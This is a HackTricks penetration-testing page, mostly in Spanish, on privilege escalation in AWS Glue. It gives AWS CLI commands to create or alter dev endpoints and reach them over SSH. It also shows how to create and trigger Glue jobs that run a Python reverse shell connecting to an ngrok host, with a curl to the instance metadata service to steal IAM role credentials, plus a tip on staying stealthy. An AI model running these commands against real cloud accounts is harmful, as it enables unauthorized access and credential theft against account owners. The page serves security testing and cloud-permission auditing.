AWS - Glue Privesc

Support HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Los usuarios con estos permisos pueden configurar un nuevo punto de enlace de desarrollo de AWS Glue, asignando un rol de servicio existente asumible por Glue con permisos específicos a este punto de enlace.

Después de la configuración, el atacante puede SSH en la instancia del punto de enlace, y robar las credenciales IAM del rol asignado:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Para propósitos de sigilo, se recomienda usar las credenciales de IAM desde dentro de la máquina virtual de Glue.

Impacto Potencial: Privesc al rol de servicio de Glue especificado.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Los usuarios con este permiso pueden alterar la clave SSH de un endpoint de desarrollo de Glue existente, habilitando el acceso SSH a él. Esto permite al atacante ejecutar comandos con los privilegios del rol adjunto al endpoint:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Impacto Potencial: Privesc al rol del servicio glue utilizado.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Los usuarios con iam:PassRole combinado con glue:CreateJob o glue:UpdateJob, y glue:StartJobRun o glue:CreateTrigger pueden crear o actualizar un trabajo de AWS Glue, adjuntando cualquier cuenta de servicio de Glue, e iniciar la ejecución del trabajo. Las capacidades del trabajo incluyen ejecutar código Python arbitrario, que puede ser explotado para establecer un shell inverso. Este shell inverso puede ser utilizado para exfiltrar las credenciales IAM del rol adjunto al trabajo de Glue, lo que lleva a un posible acceso no autorizado o acciones basadas en los permisos de ese rol:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Impacto Potencial: Privesc al rol del servicio glue especificado.

glue:UpdateJob

Solo con el permiso de actualización, un atacante podría robar las credenciales IAM del rol ya adjunto.

Impacto Potencial: Privesc al rol del servicio glue adjunto.

Referencias

Support HackTricks

Last updated